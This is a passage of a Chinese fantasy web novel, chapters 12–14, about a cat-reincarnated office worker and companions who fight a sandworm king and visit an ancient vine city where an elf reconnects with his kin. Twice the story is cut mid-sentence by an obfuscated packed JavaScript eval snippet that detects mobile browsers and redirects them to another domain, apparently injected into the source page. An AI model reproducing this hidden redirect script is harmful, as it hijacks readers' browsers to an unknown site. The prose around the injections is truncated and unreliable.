方绪白走在最前面,尾巴尖扫过沙棘草,“沙沙”响得像扫谷场的小扫帚,罗文扶着王婆,奎兰跟在旁边递水囊,西拉斯扛着双晶盾走在最后,斧头在腰间晃得响,像挂了个旧铜铃,叮叮当当地跟着脚步跳。 方绪白突然停住脚,耳朵往东边转了转——风里除了麦饼香,还混着点熟悉的“咕咕”像村里养的那只芦花鸡在唤崽。 方绪白转头往村里的塌房后跑,爪子扒开半埋在沙里的木柴,竟露出个破了口的竹筐,里面缩着三只黄绒绒的小鸡,翅膀还沾着沙粒,像刚从谷堆里钻出来的小毛球。 “哟,鸡崽还在!”西拉斯凑过来,粗手刚要碰,就被方绪白用尾巴扫了下手背——像上次他想摸刚孵出的小鸡,外婆就用纳鞋底的针轻轻扎了他一下,提醒他“轻点,别惊着”。 猫用爪子把竹筐往暖沙区拖,小鸡“叽叽”地蹭着它的爪子,像蹭着块暖乎乎的旧棉垫。 老人看见鸡崽,浑浊的眼睛亮了:“我的鸡……多亏猫大人了!”她颤巍巍地从怀里又摸出块麦饼,这次没包布,饼边都烤得焦脆,“这也给猫大人,鸡崽也得谢你呢。”方绪白叼起麦饼,却没吃,把饼放在竹筐边,小鸡立刻围过来啄饼渣,它就蹲在旁边,尾巴轻轻扫着沙粒,像在给小鸡赶苍蝇。 罗文看着这模样笑了:“倒成了鸡倌。”他转头对奎兰说,“你用木魔法编个草笼,把鸡崽装着,带回村里找个暖处。” 奎兰点点头,指尖凝出细草,编出个方方正正的草笼,像林婶编的装鸡蛋的小筐,还留了几个透气的小孔。 西拉斯扛着盾,看着草笼里的小鸡,突然说:“以后这双晶盾,不光能挡沙虫,还能护着鸡崽!” 方绪白“喵”了一声,蹭了蹭他的裤腿,尾巴尖勾着他的衣角往村里走——风里的麦饼香更浓了,远处石漠村的炊烟已经飘得很高,像蒸馒头时冒的热气,暖融融的。 走了没几步,方绪白突然往路边的沙棘丛钻,叼出个小布包,布上还绣着朵歪歪扭扭的野菊花,是常见的花样。 西拉斯接过来打开,里面竟裹着半块麦饼,还有颗冰糖,像上次偷偷塞给方绪白的那颗。“这是……上次我落在草垛里的!”他挠挠头,“当时还以为被耗子叼走了。” 方绪白舔了舔他的手,又叼着布包往奎兰那边送,精灵笑着接过来,把冰糖放进草笼里:“给小鸡当零嘴。”小鸡啄着冰糖,“叽叽”叫得更欢了。 太阳慢慢往西边沉,把沙粒染成了暖金色,像灶台上烤热的粗陶碗。 罗文扶着王婆走在中间,奎兰提着草笼,西拉斯扛着双晶盾,方绪白走在最前面,尾巴尖扫过沙面,留下一串浅浅的爪印。风里的沙粒不扎人了,裹着麦饼的香和小鸡的“叽叽”声,像在灶房里哼的小调,软乎乎的。 快到村口时,西拉斯的熟人从杂货铺里探出头,看见他们就喊:“西拉斯!你那魔晶找着没?我还留着半袋麦种,等你换麦饼呢!”西拉斯举起盾,晃得魔晶闪着光:“找着了!还多了一块!能换五车麦饼,够咱们吃一个月!” 方绪白听见这声音,跑得更快了,像要去抢他藏的麦饼。那人笑着蹲下来,从怀里摸出块烤红薯,还冒着热气:“早给你留着的,我烤的,甜得很。” 猫叼着红薯,往草笼边跑,把红薯放在地上,用爪子扒开点皮,露出里面橙红的瓤——小鸡凑过来啄了两口,烫得直甩头,逗得大家都笑了。 风裹着红薯的甜香吹过来,沾在方绪白的耳尖上,暖乎乎的。 方绪白抬头往天上看,星星已经冒出了几颗,像缝在棉袄上的棉线疙瘩,亮晶晶的。 西拉斯扛着双晶盾,跟着那人往杂货铺走,罗文扶着王婆去了村长家,奎兰提着草笼找地方安置小鸡,方绪白叼着红薯,跟在他们后面,尾巴尖扫过沙面,留下一串长长的爪印,像一串甜甜的省略号,藏着石漠村的暖,和麦饼的香。 12. 再击沙虫 沙粒打在铁盾上,脆生生的响,像晒干的麦秆被风刮着蹭过陶碗边。 方绪白突然把耳朵贴在滚烫的沙面上,那沙晒了大半天,烫得猫爪肉垫都要缩成小肉球,他却按得稳稳的,前掌飞快拍了两下:一下重,落在左边,像纳鞋底时用力扎下的针,连麻绳都绷得发颤,针脚深嵌在布里;紧接着两下轻,点向右侧,像刚孵出的小鸡啄着麦饼渣,细弱的尖喙碰得饼屑簌簌掉,却准得没偏差。 “左一下右两下是吧?”西拉斯举着锤子往盾面敲,铁盾撞在沙地上“咚”地闷响,震得沙粒都跳起来,像撒了把刚筛过的碎米粒,正好砸在方绪白拍过的右侧。 下一秒沙地里猛地窜出灰影,沙虫被震得直翻肚皮,口器张得老大,绿莹莹的黏液顺着虫甲往下淌,像没搅匀的绿豆浆,还沾着点沙粒。 罗文的剑已经劈了下来,金芒裹着剑刃划过虫甲,“咔嚓”一声脆响,虫身劈成两半,绿血溅在沙上,像泼了把没洗干净的矿脉石粉,黑绿黑绿的,还带着点土腥气,和石漠村后山的泥味混在一起。 “算准点!”西拉斯举着盾退了半步,盾沿刚蹭过沙虫那黏糊糊的绿黏液,又被方绪白的爪子轻轻拍了拍盾心。 方绪白蹲在他脚边甩尾巴,琥珀色瞳孔往斜后方缩成了细缝,像看见谷仓里偷麦种的耗子,连耳尖都绷得笔直,绒毛根根分明。 西拉斯刚跟着把盾往那边砸下去,沙虫突然从地底喷起沙砾,灰黄色的沙雾直扑方绪白的方向,像灶膛里猛地窜出的灰烟。 矮人骂了句,想都没想把盾往方绪白那边挡,沙粒撞在盾上簌簌往下落,倒让他后颈挨了不少,疼得龇牙咧嘴,像被灶膛里蹦出的火星烫了似的,手都忍不住往脖子上摸,指尖沾了点细沙,蹭得皮肤更痒。 罗文正抹剑上的黏液,沙砾迷了眼,眼里涩得慌,像进了灶灰,连眨眼都觉得磨得疼。 指尖突然被软乎乎的猫毛蹭了蹭,方绪白跳起来扒他眼皮,猫爪带着点沙粒,倒把眼里的沙砾扒得更散了些。 等他眯着眼看清,心猛地一紧——条沙虫的钳子离西拉斯的头只剩半尺,那钳子闪着寒光,像铁匠铺里没淬完火的铁剪子,边缘还沾着沙粒,泛着冷硬的光。 矮人举着盾死死护着身后的老人,后背都僵成了块铁板,还梗着脖子喊“别碰老人家”,声音里带着点发颤的凶,像护着谷堆的老狗,连牙都露了点,却掩不住尾音里的慌。 “你愣着等死?”罗文的剑劈断虫钳时带起阵风,金芒扫过西拉斯的红发,把他额前的碎发都吹得飘起来,像晒谷场上被风吹动的麦芒。 矮人“哎”了一声,举盾往旁边挪了挪,盾沿把老人护得更紧,像把人裹进了晒过太阳的旧棉垫,暖乎乎的,还带着点阳光晒透的棉絮香:“我得护着人嘛,这老人家还等着吃新烤的麦饼呢。” 方绪白蹲在盾上甩了甩爪子,方才扒沙子时被砾石划了道小口子,血珠沾在浅灰的毛上,像撒了点碎红果,看着倒显眼。 罗文的目光一落过去,原本绷着的脸就软了半截,伸手想摸,又怕碰疼它,指尖悬在半空,只轻轻拂过旁边的猫毛。 “瞎扑什么。”西拉斯蹲下来扯背包时,动静大得撞翻了水囊,清水渗进沙里,很快就没了影,只留下个湿乎乎的印子,像块淡色的疤,转眼又被热风烘干。 他翻出块软皮——原本是留着补盾缝的,灰扑扑还沾着线团,是上次缝补粗布衫剩下的,针脚还歪歪扭扭地挂在上面,像没长齐的麦茬,毛糙得很。 他笨拙地往方绪白爪子上缠,手指粗得像老周打铁的铁条,总把猫毛绕进去,猫却没挣扎,就是尾巴尖扫得他手背痒,像被麦芒轻轻扎了下,麻酥酥的。等缠完了,他还学着样子系了个歪歪扭扭的蝴蝶结,绳结都偏向一边,矮人红着脸往猫爪边放了块碎魔晶,声音低低的,像怕被人听见:“玩去,别在这儿添乱。” 方绪白却没碰那碎晶,爪子一推,把晶块推到了盾边。 西拉斯的铁盾还裂着道缝,缺口正好能嵌下这么块晶渣,像灶台上的粗陶碗缺了口,刚好用块小瓷片能补上,不偏不倚。矮人愣了愣,捏了捏猫的耳朵尖——毛还沾着沙,糙得像没磨过的砂纸,却暖乎乎的,带着点太阳晒过的温度,像揣在怀里的烤红薯。 “算你没白吃我三袋干粮。”他嘟囔着把晶块往缝里按,魔晶卡进去时泛了点微光,竟真把裂缝堵上了小半,像给旧盾添了块新补丁,看着倒顺眼多了,比补的衣裳还规整些,至少没歪了针脚。 “看!”西拉斯举着盾晃了晃,红眼睛亮得很,像突然找到了藏在草垛里的烤红薯,连声音都带了点雀跃,“这下能护你们仨了——薇薇安也护,奎兰也护,罗文……罗文不用护也能打。” 奎兰蹲在旁边给老人递草药,那草药是后山采的蒲公英,带着点清苦的香,像泡的野菊花茶。他浅金发被风吹得贴在脸侧,像沾了层薄沙的棉絮,软乎乎地搭在颊边,蓝眼睛盯着盾上的魔晶笑,声音轻轻的,像怕惊着什么:“很、很合适,像衣裳,看着就暖,还结实,能挡风寒。” 罗文正用圣光擦方绪白爪子上的血痕,那圣光温温的,像晒过太阳的米汤,绿眼睛扫过那丑乎乎的蝴蝶结,指尖往猫耳后挠了挠,语气里带着点笑:“下次再乱扒沙子,就让西拉斯用补盾的胶给你粘爪子,粘得牢牢的,看你还怎么捣乱,连麦饼都抓不住。” 方绪白没吭声,往罗文怀里缩了缩,像躲进了暖乎乎的柴火堆,把脸埋在他的披风里——披风上有圣光的暖香,还有点沙棘草的清味,像石漠村清晨的风。 尾巴尖却勾住西拉斯的裤脚晃了晃,一下一下,像在说“不怪我,是沙子先动手的”,又像在讨块麦饼当赔罪。 沙地里的风还裹着热意,吹得人后颈发暖,盾上的魔晶泛着微光,倒比刚才亮堂多了,像灶台上点着的小油灯,灯芯晃啊晃,把几人的影子拉得长长的,投在沙面上,混着零星的沙虫残壳,倒有了点烟火气,像林婶在灶房里忙活时,窗纸上映出的那些暖融融的影子,连锅碗瓢盆的轮廓都透着甜。 风里突然掺了点焦糊味,像烤麦饼时忘了翻面,饼边烤得发苦的香,混着沙粒的干腥,飘得人鼻子发紧,连方绪白的胡子都抖了抖。它猛地抬起头,琥珀色眼睛往西边沙棘丛扫——那里的沙粒正簌簌往下陷,像被谁踩塌了藏麦种的沙坑,留下个旋儿,转着转着就深了,紧接着“轰隆”一声,沙地里钻出条比之前粗两倍的沙虫,口器里还卷着半截焦黑的沙棘根,像叼着块烤糊的木柴,绿黏液混着焦灰往下滴,落在沙上“滋滋”响,像把冷水泼在烧红的铁砧上,冒起细弱的白烟,很快又被风吹散,只留下点焦味。 这虫王的壳泛着青黑色,像挂在铁匠铺墙上的旧铁壶,壶身上爬满了粗粝的纹路,是常年被风沙磨出来的,连腹部软肉都覆着层薄甲,摸上去定是硌手的,像摸没打光的铁件。 西拉斯举着刚补好的盾就往前冲,盾缝里的碎魔晶闪着微光,像嵌了颗小星星,却被虫尾扫个正着。铁盾“哐当”撞在沙地上,震得他虎口发麻,整个人被掀得往后踉跄两步,后腰撞在块棱角分明的石头上,疼得他龇牙咧嘴,手往腰上揉了两下,又梗着脖子喊:“奎兰!缠它腿!往关节处缠!那地方软,像揉面没揉匀的疙瘩,一捏就变形!” 奎兰早捏着草茎往前递,指尖凝着的木魔法让沙棘草疯长,像后山没人管的野葛藤,顺着沙虫的腿往上爬,缠得紧紧的,连草叶都绷得发颤。可这虫王的壳太厚,草茎刚缠上就被挣断,断草溅在奎兰的浅金发上,像撒了把碎麦壳,白花花的,沾在软发上不掉。他急得蓝眼睛都红了,声音发颤:“缠、缠不住!它壳太硬,像磨了三年的砍柴刀,草茎一拉就断,比麻线还脆!”说着又催出更粗的藤蔓,那藤蔓比手指还粗,带着点韧劲,却还是被虫腿扫得乱飞,落在沙上断成一截截,像折了的麦秆,还带着点绿意。 罗文的圣光突然聚成光网,金芒织成的网眼比筛麦种的筛子还密,往虫王头上罩——光网裹着沙虫的头,烧得它直甩脖子,像被烫到的驴,口器里喷出的沙砾带着火星,像灶膛里蹦出的火星子,烫得沙粒都发颤,直扑蹲在盾上的方绪白。 方绪白却没躲,反而弓起背跳起来,背上的毛都炸了,像团炸开的蒲公英,爪子上还沾着刚才没擦干净的血珠,像沾了点红果酱,一爪挠在虫眼上——那虫眼泛着浑浊的黄,被挠得瞬间流出血水,混着绿黏液往下淌,把虫脸都糊住了。 沙虫疼得直打滚,压垮了半丛沙棘,绿黏液溅得满地都是,沾在沙粒上,像撒了把发潮的绿陶土,踩上去黏糊糊的,还沾脚。 “薇薇安!接着!”西拉斯摸出怀里那块完整的魔晶——是之前从他爹遗物里找出来的,边缘被常年摩挲得光滑,攥得手心都出了汗,连晶面都沾了点汗湿,往猫那边扔。方绪白在空中扭了扭身子,像接住从灶房扔来的烤红薯,爪子稳稳托住魔晶,连晃都没晃一下,比接麦饼还准。 方绪白没犹豫,转头就往虫王的口器里塞——沙虫正张着嘴叫,声音像破了的风箱,“呼哧呼哧”的,魔晶“咚”地掉进喉咙,下一秒虫身突然僵住,绿黏液也不滴了,像被冻住的陶窑泥浆,连腿都停在半空,动也不动,只有触角还微微颤着。 罗文趁机举剑往虫王的颈缝里刺,那缝是虫壳最软的地方,像打铁时留的接口,金芒顺着缝往里钻,“嘶”的一声,像把热刀插进冷油里,冒起股青烟。 虫王的身子突然炸出团绿雾,散在沙上,竟慢慢长出了细草芽,嫩生生的,带着点鹅黄,像撒在灶台下的麦种发了芽,透着点活气,在沙地里显得格外显眼。 等雾散了,沙地上留着块拳头大的魔晶,泛着暖黄的光,比西拉斯爹的那块还亮,像灶台上刚擦干净的铜勺,勺底沾着点草芽的青气,倒不显得冷硬了,反而有了点温乎气。 西拉斯冲过去捡起魔晶,笑得嘴都合不拢,红头发晃得厉害,像团烧得旺的火苗:“这能换十车麦饼!够两个人吃三个月,还能给佐伊换块新的粗布,让她别总用那破布缝缝补补,针脚都快磨平了!”他突然想起什么,摸出刚才补盾的碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗文扶着老人,时不时帮她拂掉肩上的沙粒,动作轻得像怕碰碎了麦饼,指尖碰到老人的布衫,还带着点沙粒的粗粝。 奎兰跟在旁边递水囊,还把掉在地上的沙棘草芽小心拢到一起,用块软布包着,说要种在村头的空地上,等长出新叶,就能给小鸡遮阴。 方绪白叼着剩下的半块麦饼,走在中间,尾巴尖扫过草芽,“沙沙”响,像有人在灶房里纳鞋底的轻响,软乎乎的,带着点针脚的温度,把风都烘暖了。 远处石漠村的炊烟更浓了,像蒸馒头时冒的热气,混着喊西拉斯的声音:“西拉斯!你再不回来,我就把你留的麦种种在你屋前!让你开春没麦。 方绪白突然跑起来,像要去抢麦种,尾巴尖的毛沾着沙粒,在风里飘着,像灶台上飘着的棉絮,暖乎乎的。西拉斯笑着追上去,三晶盾上的光在沙地上拖出长长的影,像把暖光的绸子,裹着石漠村的甜,慢慢往炊烟处飘去。 声音还在风里飘,西拉斯边跑边喊:“别种!那是留着给卡罗当麦种的!”话音刚落,就见村口老槐树下晃出个黑身影,一村民扛着锄头叉着腰,围裙上的水珠被夕阳照得发亮,像撒了把碎星星:“你还知道回来!麦饼都快烤糊第三锅了。” 正说着,灶上的麦饼“滋滋”响了两声,那人赶紧用竹铲把麦饼翻过来,金黄的饼面上沾着点芝麻,焦边泛着油光:“好啦!可以吃了!”她把麦饼摆在粗木桌上,摆了满满一桌,还端来野菊花茶,杯底的野枣沉在水底,像两颗小红宝石。 村民们都围了过来,小孩们捧着麦饼,吃得嘴角沾着饼屑,像沾了层金粉;大人们边吃边说笑着,讲着西拉斯他们打沙虫王的事,西拉斯说得眉飞色舞,连手都比划着,像在重演当时的场景;方绪白蹲在桌上,罗文给他掰了块没焦的麦饼,他小口小口地啃着,尾巴尖时不时扫过罗文的手。 奎兰把沙棘草芽拿出来,放在院子里的空地上,用小铲子挖了个坑,小心地把草芽种进去,浇上点清水:“等它长起来,就能给小鸡遮阴了,鸡崽门也有地方玩了。”村民笑着说:“还是奎兰心善,这草芽长起来,咱们石漠村也多了点绿。” 风渐渐凉了,夕阳把石漠村染成了金红色,炊烟慢慢散在天上,像给村子盖了层暖纱。西拉斯扛着三晶盾,站在老槐树下,看着村里的烟火气,突然觉得心里暖乎乎的。 方绪白跳上西拉斯的肩膀,用脑袋蹭他的脸,尾巴尖扫过他的红发。 西拉斯笑着摸了摸猫的头,往灶房走去:“请再给我块麦饼!我还要吃!” 灶房里传出一阵带着笑的声音:“少不了你的!慢些跑,别撞着桌角!” 月光慢慢升了起来,洒在石漠村的沙地上,三晶盾上的魔晶泛着微光,像三颗小小的月亮,把村子照得亮堂堂的。 麦饼的甜香还飘在风里,混着村民们的笑声,还有小鸡的“叽叽”声,像首暖乎乎的歌,绕着石漠村,慢慢飘向远方,飘向那些藏着麦种和希望的日子里。 13. 古藤城夏 古藤城的石板路被晒得发烫,方绪白蹲在西拉斯的盾沿晃尾巴时,盾面沙暴留下的新痕正反射着晃眼的光,那道痕边缘还带着没磨掉的铁刺,刚才舔爪子时被勾住了几根毛,现在还隐隐发疼。 方绪白甩甩尾巴扫过西拉斯的手背,这家伙正往墙根蹲,黑发红眼盯着城门口卖锈铁的摊子咬牙:“早知道遗迹是堆破石头,还不如去抢驼队的盐巴——至少能换两串鱼干,比在这儿晒成烤肉强。” 罗文蹲在不远处擦剑,棕发垂在绿眼上,指尖捏着块浸了水的软布,正小心翼翼擦剑鞘上的花瓣纹。 那纹是花丘村小孩用树脂封的,经了沙暴早蒙了层灰,他擦得极慢,连纹路里嵌的碎花瓣都没放过,像在擦拭件稀世珍宝。“驼队的向导说,古藤城遗迹里有精灵族的草药图谱,能治边陲镇小孩的咳疾。”他声音压得低,目光往奎兰那边飘了飘。 那精灵正蹲在断壁前,浅金发被热风掀得贴在额头上,蓝眼睛盯着墙缝里一簇石花发愣,手指悬在半空像怕碰碎什么似的,指尖还在微微发颤,连耳尖都绷得发紧。 方绪白跳下盾往奎兰那儿凑,尾巴尖勾了勾他的手腕。奎兰猛地回神,耳朵尖“唰”地红透了,攥着木杖往身后缩了缩:“我……我没走神。”他低头盯着自己的鞋尖,鞋面上还沾着沙砾镇的土,蹭出了几道浅痕,“只是这花……和族里圣泉边的星草很像,连花瓣上的纹路都一样。”木杖被他攥得死紧,杖顶西拉斯当年镶的暖木都被捂出了汗。 那暖木磨得发亮,早成了他揣在手里的念想,偏他总爱藏着,像怕被谁笑话自己念旧似的。 “怕什么?又没人笑你。”方绪白用头蹭他手背,喉咙里呼噜呼噜转着圈。 跟这社恐精灵混了六年,早摸透了套路:这家伙就是揣着颗软心偏要套层硬壳,得用猫科动物的迂回战术慢慢磨。果然奎兰被蹭得松了劲,木杖“当啷”一声磕在断壁上,发出轻响。 就是这一下,断壁突然亮了。 淡绿色的光顺着墙缝往外涌,像春汛时的藤蔓漫过枯树,转眼就爬满了半面墙。不是精灵族那些规整的催长咒纹,是行歪歪扭扭的字,刻痕里还嵌着干成褐色的花瓣。 “心之所向即林之所在”,每个字都透着股倔强的韧劲儿。 奎兰“噌”地站起来,后退时脚跟磕在石棱上,差点摔着。罗文几乎是同时伸手扶住他胳膊,棕发下的绿眼亮了亮,声音里带着点稳人的力道:“没事吧?慢点站。” “这是……这是大祭司的字。”奎兰的声音发颤,蓝眼里蒙了层雾,手都在抖,指腹轻轻碰了碰墙上的刻痕,“族里只有大祭司才会用花瓣混着树汁刻字,我小时候在禁林见过他刻祈愿牌。” “就是把你扔荆棘谷的那帮老东西?”西拉斯扛着盾凑过来,红眼眯得像要冒火,手往腰间的斧头摸了摸。 他记恨精灵族六年了,当年在荆棘谷看见奎兰缩在树洞里啃野果时,这精灵手腕上连个像样的护符都没有,脸还冻得发紫,他就没少骂精灵族心狠,连个孩子都舍得丢。 “不是的!他们不是故意的!”奎兰急得脸都红了,嘴张了张却卡了壳,嘴唇哆嗦着说不出话社恐的毛病又犯了,一遇上跟族里沾边的事就成了闷葫芦,连辩解都没了章法。方绪白干脆跳上断壁,用爪子扒了扒那行字,光纹顺着爪尖往下淌,在地上聚成个光球,“啪”地照出墙后藏着的老精灵,像掀开了块蒙尘的旧布。 那精灵银发白胡子,拄着根蛇纹木杖,杖顶嵌着块绿晶石,晶石上还沾着点土,看见奎兰时愣了愣,随即笑了,眼角的皱纹挤成了褶:“小不点都长这么高了?当年你爹抱你来禁林时,才到我腰呢,还拽着我胡子要糖吃。” 奎兰手里的木杖“哐当”掉在地上,眼泪“唰”地就下来了,砸在石板上溅起点灰:“长老?您怎么会在这?族里……族里不是不让您出来吗?您不是被罚守圣泉了吗?” “来看老朋友刻的字呗。”老精灵往墙根坐,拍了拍身边的石头,示意奎兰也坐,“你爷爷刻这字时,我还帮他望风呢,怕被族里的老顽固撞见。” 他顿了顿,拔了根石缝里的草叼在嘴里,草叶在嘴里嚼出点涩味,“当年你爷爷发现山下人类村子闹瘟疫,偷着把圣泉的水掺进草药里送下去。族里说他‘通敌叛族’,把他关在禁林里,他倒好,趁夜溜到这刻了字才走——跟你一个犟脾气,认定的事八头牛都拉不回来。” 西拉斯蹲在旁边没作声,只是把盾往奎兰身后挪了挪,挡住穿堂风。 风里带着石板的热气,却还是能吹得人后颈发僵。 罗文蹲下来帮奎兰捡木杖,指尖蹭过杖顶方绪白叼来的发带。 发带还是当年在雾林村捡的,蓝底带点白纹,奎兰一直缠在杖上,磨得都快看不出颜色了,却从没舍得换。 “你去年托商队送回森林的草药,救了半村小孩,那些小家伙现在还念叨你呢。”老精灵从怀里摸出个银镯,往奎兰手里塞,镯子上刻着细密的护符纹,是精灵族的平安咒,“你妹妹让我带的,说当年你落树洞里的那个早锈了,这是她用自己的头发混着银料打的,熬了三个通宵才成。” 奎兰捏着银镯哭出声,肩膀一抽一抽的,眼泪滴在镯面上,晕开点水光:“我以为……以为族里还怪我总往人类村子跑,怪我不听长老的话。” “怪你什么?”老精灵敲了敲他的木杖,杖顶的暖木发出轻响,“长老们当年赶你走,是怕那些老顽固欺负你,你当谁不知道?你总往人类村子跑,是帮采药人指哪片草能治病,哪片花有毒,还帮着修被风刮倒的篱笆。跟你爷爷偷圣泉水一个路数,都是揣着热乎心的傻小子,只是嘴笨,不会说。” 西拉斯突然往地上啐了口,唾沫星子溅在石板上:“早说啊!害得我每次路过精灵森林都想骂两句那些精灵!”却从怀里摸出块矮人暖石,往奎兰手里塞,那暖石是他在石漠村用铜片跟阿婆换的,一直揣怀里暖着,烫得很,贴在奎兰冰凉的手心里,瞬间就暖了半截。 罗文帮奎兰把银镯戴在手腕上,银镯圈在他细瘦的腕子上正好,他轻声说:“你看,心在哪,家就在哪。族里的人,一直记着你呢。”他指尖顺了顺奎兰被风吹乱的头发,动作温柔得像在哄小孩,绿眼里却带着笑意,方绪白知道,从这一刻起,这精灵才真的敢抬头看天,敢把藏在心里的念想,慢慢说出来。 突然一阵寒意刺过来,比沙暴里落石砸下来时还急,像有冰碴子刮过皮肤。方绪白瞬间炸毛,尾巴竖成旗杆,往罗文怀里缩了缩,用爪子指城墙拐角,喉咙里滚出急促的“喵呜”声:“喵嗷——”(有东西!快躲!) 西拉斯几乎是本能地举盾挡在前面,盾面“哐当”一声撞在石墙上,红眼眯成条缝,声音里带着狠劲:“哪来的?敢在这儿装神弄鬼!” 阴影里钻出来十几个戴兽皮帽的佣兵,个个手里握着弯刀,刀身上还沾着点血污,领头的举着弯刀笑,牙上沾着黄垢:“听说古藤城藏着精灵宝贝,果然见着活精灵了,把你手里的木杖交出来,再把墙上的字拓给我们,饶你们不死,不然就把你们丢进沙暴里喂秃鹫!” 话没说完,奎兰突然往前踏了一步,脚步虽轻,却没半点犹豫。木杖往地上一顿,淡绿色的光顺着石缝往外涌,刚才还蔫着的石花“唰”地长高,藤蔓缠成张密不透风的网挡在佣兵面前,比在雾林村护药田时快了三倍,连叶尖都带着闪着寒光的尖刺,像在说“不准过来”。 “不准碰他们,也不准碰这墙上的字。”奎兰的声音还在发颤,却没了往日的怯意,蓝眼里亮得像燃着的星火,“这里是我爷爷刻字的地方,是他藏着念想的地方,谁也不能毁。” 佣兵举刀砍过来时,西拉斯的盾已经撞上去了,“当”的一声脆响震得方绪白耳朵疼,刀身撞在盾面上,火星子“噼啪”溅开。“敢动我队友?活腻歪了!”他盾边往佣兵膝盖一顶,佣兵“哎哟”一声跪在地上,他顺手接住罗文抛来的短剑扔给奎兰,那是罗文早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290277|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年用的,轻得很,剑身上还刻着点简单的花纹,正适合精灵握在手里。 罗文没拔剑,只是往奎兰身边站了站,绿眼扫过佣兵的箭囊,声音冷静得像冰:“左边三个箭囊挂着红羽毛的,箭上有毒,西拉斯盯着点。奎兰,你护着身后,别让他们绕过来。方绪白帮奎兰盯着身后,有动静就喊。” 方绪白早窜上墙头,琥珀色的眼在光里亮得像灯,连藏在阴影里的佣兵都看得清清楚楚。看见有佣兵绕后举弓,箭尖闪着蓝汪汪的毒光,它直接扑过去挠脸,爪子勾住佣兵的箭囊往下拽,箭支“哗啦啦”掉了一地。社畜的本能还在:打不过就搅局,但绝不能让队友受伤。 方绪白把一个佣兵的弓弦挠断时,听见奎兰喊:“薇薇安小心!”转头就见藤蔓缠过来,像只温柔的手,正好把它往盾边送。 奎兰居然学会主动护人了,比以前在沼泽地躲在盾后时,勇敢了太多。 奎兰握着短剑刺向冲过来的佣兵时,动作还有点僵,手腕都在抖,却没往后退半步。藤蔓随着他的动作缠上佣兵的脚踝,把人绊倒在地,罗文趁机绕到侧面,用剑鞘敲在佣兵手腕上,弯刀“哐当”掉在地上,他顺势一脚把刀踢远,动作干脆利落。西拉斯举着盾把佣兵往一块儿赶,盾面撞得他们东倒西歪,像赶一群乱撞的羊,嘴里还骂:“一群废物!连只猫都打不过,还敢出来抢东西?回家抱孩子去吧!” 没半刻钟佣兵就被揍跑了,跑得比兔子还快,西拉斯用盾把他们丢下的弯刀压碎,刀刃“咔嚓”断成两截,她骂骂咧咧地踹石头:“下次见着直接砍了!让他们知道矮人的盾,不是用来挡菜的!” 老精灵看得直笑,胡子都翘了起来,往罗文手里塞了卷皮纸:“这是净化瘴气的草药图谱,算谢礼,你们要的,应该就是这个。”纸卷里夹着片干石花,跟断壁上的一模一样,花瓣虽干,却还留着点淡绿的底色。 往城外走时,奎兰把银镯露在袖子外面,不再像以前那样藏藏掖掖,浅金发被风掀着也没像以前那样往身后躲,反而抬头看了看天,蓝眼里映着夕阳,亮闪闪的。 方绪白蹲在他肩头,看见他低头摸镯子时,嘴角悄悄翘了点,连脚步都轻快了些,木杖敲在石板上,发出“笃笃”的响,像在哼着不成调的歌。 “喂。”西拉斯突然开口,黑发红眼在夕阳里软了些,没了平时的凶劲,“下次路过精灵森林,我陪你回去看看。谁要是敢说屁话,我一盾拍碎他的牙,让他知道欺负我队友的下场。” 奎兰没说话,却往西拉斯那边靠了靠,肩膀蹭到盾沿也没躲,反而轻轻碰了碰他的胳膊,像在回应。 罗文走在最前,手里捏着那卷图谱,棕发绿眼在暮色里温温柔柔的,却把剑鞘握得更紧了。 方绪白知道,他在算回边陲镇的路,算着该给阿婆带些古藤城的石花,算着这怪咖小队的下一段路,该往哪走,才能让更多人,都能有个暖乎乎的家。 风卷着古藤城潮湿的冷,漫过石路时,将奎兰木杖“笃笃”的敲击、西拉斯盾撞墙根的钝响、罗文轻缓的脚步声,碾成细碎的絮,混着藤蔓枯叶簌簌声,竟比精灵族的歌谣更熨帖,更像“家”的声音。 方绪白琥珀色瞳孔缩成细缝,舔爪子时瞥见西拉斯盾面:沙暴新痕下,矿坑旧纹正隐隐透出光,那是春战沙狼的血、夏闯沙暴的汗,层层叠叠成了“守护”的年轮,每道凹纹里,都嵌着半季光阴,藏着他们一起走过的路。 罗文的剑鞘磕在石缝里,花瓣残纹被沙暴啃噬出浅坑,古藤城一战又剐出细痕,却仍牢牢夹着半幅草药图谱,夏的使命勇气、秋的救赎希望,全揉进藤蔓白花的脉络里,成了会呼吸的咒文,轻轻搏动着。 方绪白忽然想起夏夜里,奎兰攥着杖顶的暖木在围炉边说“古藤城的符文,藏着守护的秘密”,此刻盾面的旧纹与新痕绞成一张网,恰如宿命在暗处埋的线,要把秋章矿坑战时的勇气,预存在这交错的光阴里,等着在未来的某一天,开出温暖的花。 14. 古藤城 秋 古藤城的秋意总裹着潮湿的冷,藤蔓在断壁上盘成暗绿色的结,每片叶子都沾着千年的灰,风一吹就簌簌落下,像谁藏在时光里的叹息,轻得能被吹散,却又沉得压在人心头。 方绪白蹲在罗文的肩甲上,琥珀色瞳孔缩成细缝——作为曾在格子间熬到凌晨三点、连老板高跟鞋踏在瓷砖上的脚步声都能精准分辨的都市牛马,他对“危险”的感知早被炼就得比奎兰的魔法探测还敏锐。此刻鼻尖萦绕的铁锈味里,混着矮人熔炉特有的焦糊气,更藏着一缕若有若无的敌意,像冰碴子扎在皮肤上,冷得人发颤。 